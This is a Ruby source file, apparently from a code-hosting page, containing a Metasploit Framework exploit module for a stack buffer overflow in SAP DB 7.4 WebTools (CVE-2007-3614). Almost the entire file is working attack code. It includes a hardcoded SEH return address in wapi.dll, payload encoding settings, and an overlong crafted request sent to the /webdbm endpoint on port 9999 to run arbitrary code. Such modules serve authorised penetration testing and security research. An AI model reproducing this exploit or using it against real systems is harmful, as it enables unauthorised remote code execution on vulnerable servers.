86 lines
2.1 KiB
Ruby
86 lines
2.1 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GreatRanking
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HttpFingerprint = { :pattern => [ /SAP-Internet-SapDb-Server\// ] }
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'SAP DB 7.4 WebTools Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in SAP DB 7.4 WebTools.
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By sending an overly long GET request, it may be possible for
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an attacker to execute arbitrary code.
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},
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'Author' => [ 'MC' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2007-3614' ],
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[ 'OSVDB', '37838' ],
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[ 'BID', '24773' ],
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],
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'Privileged' => true,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Payload' =>
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{
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'Space' => 850,
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'BadChars' => "\x00",
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'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
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'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
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'EncoderOptions' =>
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{
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'BufferRegister' => 'ECX',
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},
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'SAP DB 7.4 WebTools', { 'Ret' => 0x1003c95a } ], # wapi.dll 7.4.3.0
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],
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'DisclosureDate' => 'Jul 5 2007',
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'DefaultTarget' => 0))
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register_options( [ Opt::RPORT(9999) ], self.class )
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end
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def exploit
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filler = rand_text_alphanumeric(20774)
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seh = generate_seh_payload(target.ret)
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sploit = filler + seh + rand_text_alphanumeric(3000)
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print_status("Trying to exploit target #{target.name} 0x%.8x" % target.ret)
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res = send_request_raw(
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{
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'uri' => '/webdbm',
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'query' => 'Event=DBM_INTERN_TEST&Action=REFRESH&HTTP_COOKIE=' + sploit
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}, 5)
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handler
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end
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end
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